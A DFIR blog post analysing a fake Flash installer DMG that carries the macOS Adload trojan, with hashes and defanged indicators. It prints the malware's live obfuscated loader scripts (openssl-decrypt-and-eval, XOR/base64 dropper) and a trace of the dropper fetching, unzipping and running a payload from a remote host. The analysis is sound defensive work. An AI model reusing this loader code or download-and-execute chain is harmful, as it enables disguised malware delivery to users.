A DFIR Blog
Static Analysis of a MacOS Trojan I found today.
I was googling a security tool called moloch + threat hunting from a mac and clicked on a link to what I thought was a security blog containing some juciy information. It was the third link on the first page of results mind you! Instead of being served up some content to make my day easier, I was redirected to Yet Another Fake Flash Dropper (YAFFD). Okay, TBH I preffered to do some malware analysis anyway.
$ cd ~/Downloads
$ ls
AdobeFlashPlayerInstaller.dmg
$ file AdobeFlashPlayerInstaller.dmg
AdobeFlashPlayerInstaller.dmg: zlib compressed data
$ md5 AdobeFlashPlayerInstaller.dmg
MD5 (AdobeFlashPlayerInstaller.dmg) = 8c5a97b8234af7f41e03b4421904a8ff
$ shasum AdobeFlashPlayerInstaller.dmg
b972667995d2ca1d205c3be4d57fc80814834970 AdobeFlashPlayerInstaller.dmg
$ codesign -dvvv AdobeFlashPlayerInstaller.dmg
AdobeFlashPlayerInstaller.dmg: code object is not signed at all
Hey! Wouldn’t Adobe sign their product if it was legit?
$ hdiutil attach AdobeFlashPlayerInstaller.dmg
Checksumming Protective Master Boot Record (MBR : 0)…
Protective Master Boot Record (MBR :: verified CRC32 $7510EE46
Checksumming GPT Header (Primary GPT Header : 1)…
GPT Header (Primary GPT Header : 1): verified CRC32 $366ED316
Checksumming GPT Partition Data (Primary GPT Table : 2)…
GPT Partition Data (Primary GPT Tabl: verified CRC32 $70831B84
Checksumming (Apple_Free : 3)…
(Apple_Free : 3): verified CRC32 $00000000
Checksumming disk image (Apple_HFS : 4)…
..............................................................................
disk image (Apple_HFS : 4): verified CRC32 $B3A8FFCC
Checksumming (Apple_Free : 5)…
(Apple_Free : 5): verified CRC32 $00000000
Checksumming GPT Partition Data (Backup GPT Table : 6)…
GPT Partition Data (Backup GPT Table: verified CRC32 $70831B84
Checksumming GPT Header (Backup GPT Header : 7)…
GPT Header (Backup GPT Header : 7): verified CRC32 $00709B9F
verified CRC32 $7647ACE4
/dev/disk1 GUID_partition_scheme
/dev/disk1s1 Apple_HFS /Volumes/Player
$ cd /Volumes/Player/
$ find .
.
./.5692438210.png
./.DS_Store
./Player_210.app
./Player_210.app/Contents
./Player_210.app/Contents/_CodeSignature
./Player_210.app/Contents/_CodeSignature/CodeDirectory
./Player_210.app/Contents/_CodeSignature/CodeRequirements
./Player_210.app/Contents/_CodeSignature/CodeRequirements-1
./Player_210.app/Contents/_CodeSignature/CodeResources
./Player_210.app/Contents/_CodeSignature/CodeSignature
./Player_210.app/Contents/Info.plist
./Player_210.app/Contents/MacOS
./Player_210.app/Contents/MacOS/Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg
./Player_210.app/Contents/Resources
./Player_210.app/Contents/Resources/210
./Player_210.app/Contents/Resources/app5692438210.icns
./Player_210.app/Contents/Resources/enc
Looks similar to most other .dmg directory structures.
$ cd /Volumes/Player/Player_210.app/
$ plutil -p Info.plist
{
"CFBundleExecutable" => "Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg"
"CFBundleIconFile" => "app5692438210.icns"
"CFBundleIdentifier" => "com.Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg"
"CFBundleInfoDictionaryVersion" => "6.0"
"CFBundleName" => "PlayerInstaller"
"CFBundlePackageType" => "APPL"
"CFBundleShortVersionString" => "1.0"
"CFBundleSupportedPlatforms" => [
0 => "MacOSX"
]
"CFBundleVersion" => "5692438210"
"LSMinimumSystemVersion" => "10.9"
"NSHumanReadableCopyright" => "Copyright © 2017 All rights reserved."
"NSPrincipalClass" => "NSApplication"
}
Looks like “Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg” is the binary executed by the .dmg at launch.
$ cd MacOS/
$ ls
Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg
$ file Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg
Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg: Bourne-Again shell script text executable, ASCII text
Hey! That’s a shell script, not a Macho… But, that’s not too extraordinary.
$ cat Xl5NyWPPpAg.cD3QOlw2RV1GoEhnKg
#!/bin/bash
cd "$(dirname "$BASH_SOURCE")"
fileDir="$(dirname "$(pwd -P)")"
eval "$(openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:5692438210 <"$fileDir"/Resources/enc)"
Okay, so this is interesting. The bash script uses openssl to decrypt whatever is in “enc” using base64 & AES 256.
$ cd /Volumes/Player_210.app/Contents/Resources
$ file enc
enc: ASCII text
Yep. As expected.
$ openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:5692438210 < enc > ~/Desktop/decoded.sh
$ cd ~/Desktop
$ cat ~/Desktop/decoded.sh
#!/bin/bash
_l() {
_i=0;
_x=0;
for ((_i=0; _i<${#1}; _i+=2)) do
__return_var="$__return_var$(printf "%02x" $(( ((0x${1:$_i:2})) ^ ((0x${2:$_x:2})) )) )"
if (( (_x+=2)>=${#2} )); then ((_x=0)); fi
done
if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
}
_m() {
_v=$(base64 --decode <(printf "$1"));
_k=$(xxd -pu <(printf "$2"));
__return_var="$(xxd -r -p <(_l "$_v" "$_k"))"
if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
}
_y="5692438210"
_t="MTYxNzE2NTA1ZDVkMTc1MDUwNDM1ZDNjNWY0NzVhNTA0YzViNWU1ZTE1NTU1MTU3NTc1ODc1NTYwNDE4MWMxNjQyMzgxNDEzMTgxMjU0NDg1NjVhNGM1NjUxNTc3YzViNDM0MzA4MWUxZTFkNjI1YzU0NDc1YzU1NDYxOTY5NDA1MTUxNTc1ZDQ1MWYxMjE2MWUxZDYyNWM1NDQ3NWM1NTQ2MTk3NDUzNTc1YTU2NDY1ZTQzNWQxNjcxNzYxYjE0MTgxNTFlNjY1YTVhNGM1ZjUxNDAxNzYwNTQ1MzVhNDA1YzQwNGQxYzFmMWIzYjNhMTUxNjE5MTI1MjVjNGExMjQ3NWY1OTQzNTQ1NzcwNWE0YTEyNTg1ZTE1MTk2ZjVkNTg0NjU1NTc0MjFmMWYxOTMzMTIxNDEzMTg1NjVlM2ExNTE2MTkxMjE0MTMxODEyNDI1YjVjNDYwNDAyM2UxMzE4MTIxMTEwMTUxNjE5NTQ1YjQxMTg1NzQ5NTM1OTQzNWQ1NzUwNzc1MTQwMTE1OTViMTYxYjE2NGY1NjQwNTE1ZDQ1NTE1MzVkNzY1ZDQxNGI2OTcxNmQ0ODE0MzMxMjE0MTMxODEyMTExMDE1NTI1NjM4MTQxMzE4MTIxMTEwMTUxNjE5MTIxNDEzNTE1NDExNmI2ZTE2MWIxNjUxNGI1YjVlNDQ1NDUwNTI3ZDViNDYxMTE4MGYwYzEwMTcxMjRmNWQ1ODQ2NTU1Nzc1NTk0NzE0MTk2ZjY5MDgxODQ2NTk1NTViM2MxOTEyMTQxMzE4MTIxMTEwMTUxNjE5MTIxNDEzMTgxMjQyNWI1YzQ2MDQwMzNlMTMxODEyMTExMDE1MTYxOTEyMTQxMzE4MTIxMTEwMTU1NDRiNTc1NTU4MDMzODExMTAxNTE2MTkxMjE0MTMxODEyMTExMDUzNWYzMzEyMTQxMzE4MTIxMTEwMTU1MjU2NWM1MTM5MTgxMjExMTAxNTE2MTkxMjVkNTUxODY5MTExNDQ2NWQ1MDQyMTQwZTA1MTIwMDEwNjgwZDE5NDY1YzU2NTYzODExMTAxNTE2MTkxMjE0MTMxODEyMTExMDU2NTk1NzQ2NWQ1ZDRkNTcwYTNhMTUxNjE5MTIxNDEzMTgxMjU3NTkxNTNjMTkxMjE0MTMxODEyMTExMDNmMTYxOTEyMTQxMzE4MTIxMTQ2NWE1YTRjNWY1MTdlNWMwNzBjMTIxMTFlNWY1YjVhNTcxODEwMTU0NjVhNWE0YzVmNTE3NzUxNDAxZTE0MDQxOTFiMTIxOTQ3NDE0MjU0MTA1MzE2MTQ1NzRjNTY1YjEyNWM1NDAwMTYxNDQzMTQ0ODQ1MTI2ZDBiMTU0YTE5NWY1MDA2MTgxZjQwMTkxNzNjMTkxMjE0MTMxODEyMTExMDE2NTM1YTVhNWIxMzFhMTY0NzVmNTk0MzU0NTc3MDVhNGExMjVjNTQwMDBjMTkxNjQyNWM1NDQ3NWM1NTc4NTIwYzEwM2UzOTE4MTIxMTEwMTUxNjE5MTI1ZDU1MTg2OTExMTQwNzE2MDQwZjE0MTc0ZTVkNWQ0NTU4NTM3NDU2MDExMzY1MDkxMTQ0NWQ1MzU3MzgxNDEzMTgxMjExMTAxNTE2MTkxMjE0MTM1ZDUxNTk1ZjE1MTQxZDQ0NWI1ZjRkNWY1NDc0NWM0NDFiMDkzZTEzMTgxMjExMTAxNTE2MTkxMjE0MTMxODQwNTQ0NDQwNDQ1NzA5M2UxMzE4MTIxMTEwMTUxNjE5NTQ1ZDM5MTgxMjExMTA1MTU5NTc1NzNlNGUzMjUxNDQ0MjQ3NTM1NzQ2NzA1YTRhMGYxMzE0NjU2MTdkMTAzZTUyNDg0Mjc1NTk0NzBiMWIxNjFjNTc1MTQwNWY1MTU4NTMxOTE2MWM1NzUxNDA1ZjUxNTg1MzE5MTAxMDUwNGQ0MDQzNTU1YjQyN2Q1YjQ2MTExMTFiMTMzYTU0NDY0OTdjNTU1ZTVkMGYxMzE0MWQ1NDU4NDE1MTVkNTk1ZjU0MTAxNzEyNTg0MjQ0Nzc1MTQwMTMxOTE3M2M1YTQ3NDY0MTVkNWM0NTdkNTEwMzA0MTAxMDFiNWU1YjVmNTQxNTE0MWQ1MzQ0NDM3YzViNDMxMjE1MWI0ZDRiNDQ1NjE4NTQxMTFkNTA0ZTVjNTExNDVlNWMwNzExMWQ0NDE2NDI0ZjE0NmYwMzEyNGQxMDU4NTIwYzEyMTk0MjExMTAzYjQ2NWE1YTRjNWY1MTZjNTY1MzVjNTUwODE0MWQxYTU3NWI1ZDUxNWE3ZDUxMDMxOTEwMTA1MjQ4NDI3ZjUxNTg1MzFiMTIxNjE3NWI0NzQzNDI1MDU4NGQ3ZjUwMDYxYTFiMTMzYTVhNDU2NjQ0NTE0MTRiNWI1ZTVlMDgxNDFkMWE0NzQ0Njc0NDU0NDI0NjE2MTQ0MjQ2NWM1YzQ3NTI0NDYzNTM0YjQxNWQ1YzU2MWIxMzNhNDY1MzRhNDE1ZDVjNTY2ZDU2NDU1YzUyMDQxMDEwMWI0ZDQ3NTg1NDUyNTM1NzFiMTYzOTU1NTM1MjU4NWM1ODVjNmQ1ZDU3MDUxMDE1MTg1MDU1NTE1ZDE0MWU1NjEyMTMxNDFkNWY1NjQwNTE1NDE4MWY0MzU0MDQxNjE0NTExNDdhNzc2MjVkNTE0MTUwNTY0MDU5NzY0MDQyNTQ0MjQxNzI1YzQ0NWQ1MDVkMTI0ZDEwNTI0NDVjNDIxNDFlNTcxMjE2MTI3Yzc5Njk1ZTU1NDc1ZTVkNDM1ZDYwNjM3MDc2MTYxMzA1MTIxMzZjMWQxODEzNmUxZDExMWYxMjRkMTA0NjUzNWQxMjE5NzYxODFmNWYxMDEyNDU3OTFjMWUxMTEwNjk2ZjEyNjgxZDEwMTA3NDZmMDk3MjQxMTcxYzE0MTk0ZTE0NDc0YTEyMWM1NDU2MTYxZTY5NmYwOTQ4NDA1ODVlNDEwYzY0NmYxMzFhMWEzODQ0NDI1OTBiMWI1YTQwNDc0ODA4MWUxZjU0NDY1MDFjNTk1MjRiNDY1NDQyNTQ1ODU4NWU0ZDQwNWQ0MDFmNTM1YTViMTY0MTUwMWMwNzUxMGM2ZjQ1NWE2NjAwN2U0YTVhNjMwYzBkMTM0MzA0MTY1OTUyNWI1YTU4NWU1MDY5NTA1NjEyNDAwNTE2NDI1NTQ2NDU1MDVkNWE2YzVmNDc1ODU0MTM1OTA0MTY1YjQwNjc0NDU0NDI0NjVmNTY1YzEyNTEwNTA3MDcwOTA3MDIwYTBhMDYwMjA4MTAzYjQ1NWI0YzUwNDI2YjQzNTk0MTQyNDc1YTQ0NWQwZjE2MDMwOTAwMDkwMzAxMDQwMDA0MDEwYTBjMDEwNDA2MGMwNDBkMDEwYzAxMDkwMjEzM2E0MTViNDk2ZDQ0NTI0YzVhMGMxMjExMWU1NDU5NDA1NjU1NDIxMTFmNDE1YjQ5MWQ2YzZiNjA2YTY5Njg2ZDZlNjExYjE2Mzk1YjQ3NDM1YzE1MWI1ZjAyNzgxMzFhMTY0NDQyNTkxNDE5MGMxYjU3NWQ0NDFlNWU0MDVhNTUxMjA2MGQxZTAzMTEwZTBiMTI0ZDVmNDQ2YzQ4NTM0NTU4M2Y1NzQ5NDI2YjU3NTE0MDBjMTIxMTFlNTQ1OTQwNTY1NTQyMTExZDUxMTYxNjQ2NTk0MzE3NmE2OTY4NmQ2ZTYxNmE2YzFhMTcxMDNiNDU1YjRjNTA0MjE0MWU2ODEyMTMxNDQwNTg0MzViNDQ2YzQ4NTM0MjQzNDI1OTRiNTYxNjEzMWExNjQ1NWQ0NTY5NDk1MzQwNWIxYTEyMWM1NDE1MTQxZDUzNDQ0MzY3NTY1ODQyMTcxNjA3MTIxYjU3NWQ0NDFlNWU0MDVhNTUxMjA2MGQxZTAzM2I0MjU4MTYxNDU0MTQxNzRjNWY0MTZmNDU1NzRkNWEzZTU1NTE1ZTU0NmY1YjU3NTQ1NzA5MTExYzFhNTY0MjUwNDYxOTFmNTkwMjE4MWY0NzEwMTcxYzE3NTM0NDQzMWExMjBkMTg1OTQ1MTkxZjA1MTMxYTE2NTA0MDQ1Njk1ZDViNDYxMTExMWIxMzNhNDM1OTU1NDc1OTU2Njc1YzUwNWQ1MDBiMWIxNjRmNDU1NzVlNDQ1ZDUwNjk1NzUzNTk1NjE3MWQxMTFmMTAwNDA5NGYxNjM5NWI1YTVjNWY1MTE2MTI0YTE0MTExYzUzNDE0MDZhNTI1MDQwMTA1NTUxNWU1NDZmNWI1NzU0NTcxYjcwNTc1YzQ1NTU1YjQyNGExZDc5NTI1YjdkNjIxMjFhMWMzMzVkNDQ1NjU2MTIxYzUxMTUxNDFkNTM0NDQzNjc1NjU4NDIxMTUwNTA1ZTUxNmM1NjUzNWM1NTE3MTYxNDFmNTU0MTVmNDExMTEyNDYxNDE5MTAxMDQwNWQ0MTQyNTk1YTU4NjY1NTQxNWE1YzEwMTExMjExNDA1NjVlNDE1ZTVkNmQ1ZjUxNTg1MzFi"
eval "$(_m "$_t" "$_y")"
Gross! I don’t want to spend all day on those loops. These functions are likely used to call down another binary, hence the term “dropper”. The “t” variable is defintely obfuscated, likely multiple times based on the printf and xxd commands.
$ bash -x decoded.sh 2> debugged.txt
This takes a minute. And executes the script! So that means… do it in a VM on your analysis system! When I executed it a “flash installer” wizard popped up at the end.
------TRUNCATED DUE TO LENGTH--------
++ url='http://api[.]masteranalyser[.]com/sd/?c=_pl_2JybQ==&u=95DF5053-0A0C-4E96-BA3C-143C4E0364F5&s=257AF0DD-4AE7-4324-B1FF-BA47F1DE654F&o=10.13.3&b=5692438210'
++ unzip_password=01283429659435692438210
+++ mktemp /tmp/XXXXXXXXX
++ tmp_path=/tmp/yWfcf6tRW
++ curl -f0L 'http://api[.]masteranalyser[.]com/sd/?c=_pl_2JybQ==&u=95DF5053-0A0C-4E96-BA3C-143C4E0364F5&s=257AF0DD-4AE7-4324-B1FF-BA47F1DE654F&o=10.13.3&b=5692438210'
+++ mktemp -d /tmp/XXXXXXXX
++ app_dir=/tmp/kMeQxavD/
++ unzip -P 01283429659435692438210 /tmp/yWfcf6tRW -d /tmp/kMeQxavD/
++ rm -f /tmp/yWfcf6tRW
+++ grep -m1 -v '*.app' /dev/fd/63
++++ ls -1 /tmp/kMeQxavD/
++ file_name=Player.app
++ volume_name=
++ chmod +x /tmp/kMeQxavD/Player.app/Contents/MacOS/5693093694
++ open -a /tmp/kMeQxavD/Player.app --args s 257AF0DD-4AE7-4324-B1FF-BA47F1DE654F ''
There is a lot of output in the debug file, we may need to reference this later, but for now the important part is a file was downloaded from api[.]masteranalyser[.]com with some unique info from my machine, placed in the “tmp” directory, and then executed. We can see now that the variable “y” in the “enc” file above was actually Player.app. The “t” variable was likely used to enumerate the OS version and UUID of my machine which was used to form the URL. Note: I defanged the URL in the output above.
$ cd /tmp/kMeQxavD/Player.app/
$ find .
.
./Contents
./Contents/_CodeSignature
./Contents/_CodeSignature/CodeResources
./Contents/Info.plist
./Contents/MacOS
./Contents/MacOS/5693093694
./Contents/Resources
./Contents/Resources/3694.icns
./Contents/Resources/Player.app
./Contents/Resources/Player.app/Contents
./Contents/Resources/Player.app/Contents/_CodeSignature
./Contents/Resources/Player.app/Contents/_CodeSignature/CodeResources
./Contents/Resources/Player.app/Contents/Info.plist
./Contents/Resources/Player.app/Contents/MacOS
./Contents/Resources/Player.app/Contents/MacOS/CAC4DD3330C6
./Contents/Resources/Player.app/Contents/Resources
./Contents/Resources/Player.app/Contents/Resources/app5693093694.icns
Interesting there is a second /Contents/MacOS directory with CAC4DD3330C6 in it.. we’ll come back to that later.
$ cd ..
$ codesign -dvvv Player.app/
Executable=/private/tmp/kMeQxavD/Player.app/Contents/MacOS/5693093694
Identifier=5693093694
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=1002 flags=0x0(none) hashes=26+3 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha1=8c7c87a8734f1a25e47065f39f4e7c6f05031a4b
CandidateCDHash sha256=07094dc7d4d61a8ece1f5f32ba41a393ca521391
Hash choices=sha1,sha256
CDHash=07094dc7d4d61a8ece1f5f32ba41a393ca521391
Signature size=9012
Authority=Developer ID Application: Hawkins Tristan (34C3U9CXLW)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=Jan 16, 2019 at 3:10:54 PM
Info.plist entries=10
TeamIdentifier=34C3U9CXLW
Sealed Resources version=2 rules=13 files=5
Internal requirements count=1 size=172
Hey now would you look at that.
$ cd Player.app/Contents/
$ plutil -p Info.plist
{
"CFBundleExecutable" => "5693093694"
"CFBundleIconFile" => "3694.icns"
"CFBundleIdentifier" => "5693093694"
"CFBundleInfoDictionaryVersion" => "6.0"
"CFBundleName" => "Player"
"CFBundlePackageType" => "APPL"
"CFBundleShortVersionString" => "1.0"
"CFBundleSupportedPlatforms" => [
0 => "MacOSX"
]
"CFBundleVersion" => "93694"
"LSMinimumSystemVersion" => "10.9"
}
Looks like its named “5693093694”. Note: If I just wanted the CFBundleExecutable info I could run: plutil -p Info.plist | grep “CFBundleExecutable” to pull just that.
$ cd MacOS/
$ ls
5693093694
$ file 5693093694
5693093694: Mach-O 64-bit executable x86_64
$ md5 5693093694
MD5 (5693093694) = eafb2f45de3e6f6d5dee2a5e2148b8cf
$ shasum 5693093694
b69c1075af2d307e0d12d61b7af05d4980827d5e 5693093694
Ah, here we go. The hashes were not found on VT when I searched them today. So, I scanned with Clamscan.
$ clamscan -ir 5693093694
----------- SCAN SUMMARY -----------
Known viruses: 6770330
Engine version: 0.100.0
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.12 MB
Data read: 0.12 MB (ratio 1.00:1)
Time: 15.947 sec (0 m 15 s)
Nothing found. So, I uploaded it to VT. Results were 3/56 when I first sumbitted the file:https://www.virustotal.com/#/file/2b458e0ea39db0f51b7c94e1bf28560a35f1ed07461ef9b094360d183a69da18/detection. Looks like the binary is Adload-M, a MacOS Trojan. Windows versions of Adload typically introduce backdoors on the system.
$ cd /tmp/kMeQxavD/Player.app/Contents/Resources/
$ codesign -dvvv Player.app/
Executable=/private/tmp/kMeQxavD/Player.app/Contents/Resources/Player.app/Contents/MacOS/CAC4DD3330C6
Identifier=com.CAC4DD3330C6
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=5936 flags=0x0(none) hashes=180+3 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha1=7fb94c5008a0a30147092a3c601d33a21406e23e
CandidateCDHash sha256=425854b6a9e2ae95f3fca138a81baaf591dc58f7
Hash choices=sha1,sha256
CDHash=425854b6a9e2ae95f3fca138a81baaf591dc58f7
Signature size=9012
Authority=Developer ID Application: Hawkins Tristan (34C3U9CXLW)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=Jan 16, 2019 at 3:10:54 PM
Info.plist entries=20
TeamIdentifier=34C3U9CXLW
Sealed Resources version=2 rules=13 files=1
Internal requirements count=1 size=176
That’s a slightly different result than the other Player.app. The Executable of this one is CAC4DD3330C6.
$ cd Player.app/Contents
$ ls
Info.plist MacOS Resources _CodeSignature
$ plutil -p Info.plist
{
"BuildMachineOSBuild" => "16C67"
"CFBundleDevelopmentRegion" => "en"
"CFBundleExecutable" => "CAC4DD3330C6"
"CFBundleIconFile" => "app5693093694.icns"
"CFBundleIdentifier" => "com.CAC4DD3330C6"
"CFBundleInfoDictionaryVersion" => "6.0"
"CFBundleName" => "PlayerInstaller"
"CFBundlePackageType" => "APPL"
"CFBundleShortVersionString" => "1.0"
"CFBundleSupportedPlatforms" => [
0 => "MacOSX"
]
"CFBundleVersion" => "5693093694"
"DTCompiler" => "com.apple.compilers.llvm.clang.1_0"
"DTPlatformBuild" => "8B62"
"DTPlatformVersion" => "GM"
"DTSDKBuild" => "16B2649"
"DTSDKName" => "macosx10.12"
"LSMinimumSystemVersion" => "10.9"
"NSAppTransportSecurity" => {
"NSAllowsArbitraryLoads" => 1
"NSAllowsArbitraryLoadsInWebContent" => 1
}
"NSHumanReadableCopyright" => "Copyright © 2017 All rights reserved."
"NSPrincipalClass" => "NSApplication"
$ cd MacOS/
$ file CAC4DD3330C6
CAC4DD3330C6: Mach-O 64-bit executable x86_64
$ md5 CAC4DD3330C6
MD5 (CAC4DD3330C6) = aa07958f8a08b275c799a8975171ad76
$ shasum CAC4DD3330C6
ed26d23f8fa527e036de118b6c4d182b6159f878 CAC4DD3330C6
VT didn’t detect these hashes either. But, ClamAV caught it :)
$ cp CAC4DD3330C6 ~/Desktop/
$ cd ~/Desktop/
$ clamscan -ir CAC4DD3330C6
CAC4DD3330C6: Osx.Trojan.Generic-6776032-0 FOUND
----------- SCAN SUMMARY -----------
Known viruses: 6770330
Engine version: 0.100.0
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.73 MB
Data read: 0.73 MB (ratio 1.01:1)
Time: 15.506 sec (0 m 15 s)
I also uploaded this binary to VT. It was detected as Adload by 17/56 AV engines right away. Results: https://www.virustotal.com/#/file/a23c9488d26bf65b1b5209c042b8340304d295cdfc55f2f31cb89d3511f9634d/detection.
Okay, I’ve identified that I was definetly redirected to yet another fake flash dropper. See more analysis in part 2
eafb2f45de3e6f6d5dee2a5e2148b8cf
b69c1075af2d307e0d12d61b7af05d4980827d5e
aa07958f8a08b275c799a8975171ad76
ed26d23f8fa527e036de118b6c4d182b6159f878
api[.]masteranalyser[.]com
cdn[.]masteranalyser[.]com